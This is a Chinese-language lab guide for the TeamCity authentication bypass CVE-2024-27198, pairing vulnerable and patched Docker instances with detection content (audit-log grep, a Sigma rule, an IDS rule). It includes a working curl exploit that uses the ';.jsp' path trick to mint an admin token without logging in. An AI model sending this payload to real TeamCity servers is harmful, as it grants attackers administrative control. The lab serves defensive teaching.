CVE-2024-27198实验室
TeamCity 提供了一个仅限管理员访问的令牌管理页面,该页面未受认证保护。这使得未经认证的用户在能够找到现有用户 ID 的情况下,可以为管理员用户生成访问令牌。
漏洞位于 REST API 路由机制中。通过在未认证端点后附加特定字符(例如 ?jsp=/app/rest/...;.jsp),攻击者可以诱使 TeamCity Web 服务器将请求路由至已认证端点,同时绕过安全过滤器。此攻击无需任何先验知识或访问权限,因此拥有 9.8 的 CVSS 评分。
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
访问存在漏洞的 TeamCity 实例:http://localhost:8111。 访问已修补的 TeamCity 实例:http://localhost:8112。
用户名:
admin
密码:
admin
对资源发起未认证的 GET 请求:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
两者应返回 401 状态码的错误。
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
这应该返回类似如下的令牌(每次生成不同):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
此命令应返回 401 状态码的错误,因为修补后的实例不存在此漏洞。
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
应返回用户列表。
在实验室演示过程中,你可以展示一个重大的 蓝队发现:默认情况下,这个漏洞极为隐蔽!
;.jsp HTTP 请求 不会被记录。那么如何捕捉呢?当攻击者清理痕迹时! 当攻击者删除其恶意令牌以隐藏痕迹时,TeamCity 会 记录这一行为。
在审计日志中查找攻击者掩盖痕迹的行为:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(你将看到一条日志条目,指示 "REDTEAM" 令牌已被删除。)
docker compose -f docker-compose.yml down
此漏洞是 CWE-288:使用备用路径或通道绕过认证 的一个实例。
缺陷源于 Tomcat Web 服务器与 TeamCity 应用程序路由器之间的路径混淆问题。通过附加 ;.jsp 并将目标 REST API 端点传入 jsp= 参数,初始的安全过滤器将请求解释为对公共 .jsp 文件的未认证请求(允许访问)。然而,内部路由器会剥离 ;.jsp 并将请求转发至受限制的 /app/rest/ 端点,而无需执行认证过滤器。
合法使用场景(为何允许 ; 字符?):
Tomcat 使用分号字符(;)表示 矩阵参数。历史上,此机制用于在路径内直接传递参数,例如在禁用 Cookie 时附加 JSESSIONID 以维护用户会话状态。这种正常的、合法的 Web 服务器行为,结合 TeamCity 应用程序路由器不正确的验证,共同导致了该漏洞。
为检测正在发生或已发生的入侵,蓝队应关注:
/app/rest/ 端点但 URI 中包含异常 ;.jsp 字符串的 HTTP 请求。teamcity-server.log): 原因不明的访问令牌生成或新管理员账户创建。由于初始利用默认情况下非常隐蔽,蓝队必须依赖检测攻击者的后利用行为,例如掩盖痕迹。以下是适用于 SIEM 的 Sigma 规则,用于检测可疑的令牌删除:
title: JetBrains TeamCity 可疑令牌删除(后利用 CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: 检测攻击者在利用 CVE-2024-27198 后清除痕迹时删除其恶意令牌的行为。
author: 紫队
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
为证明此检测有效,请运行 siem_simulator.py 脚本。
docker compose up -d)。python3 siem_simulator.py
为在网络层面检测此利用尝试,SOC 可实施以下 IDS 规则,该规则查找异常的 ;.jsp 模式与 REST API 路径的组合:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"利用 JetBrains TeamCity 认证绕过尝试 (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
为证明缓解措施有效,你可以对运行在端口 8112 的已修补 TeamCity 容器发起完全相同的利用载荷:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
由于补丁严格强制路由匹配并正确清理矩阵参数,绕过将失败。你应看到 401 Unauthorized 或 404 Not Found 响应,而不是生成的令牌。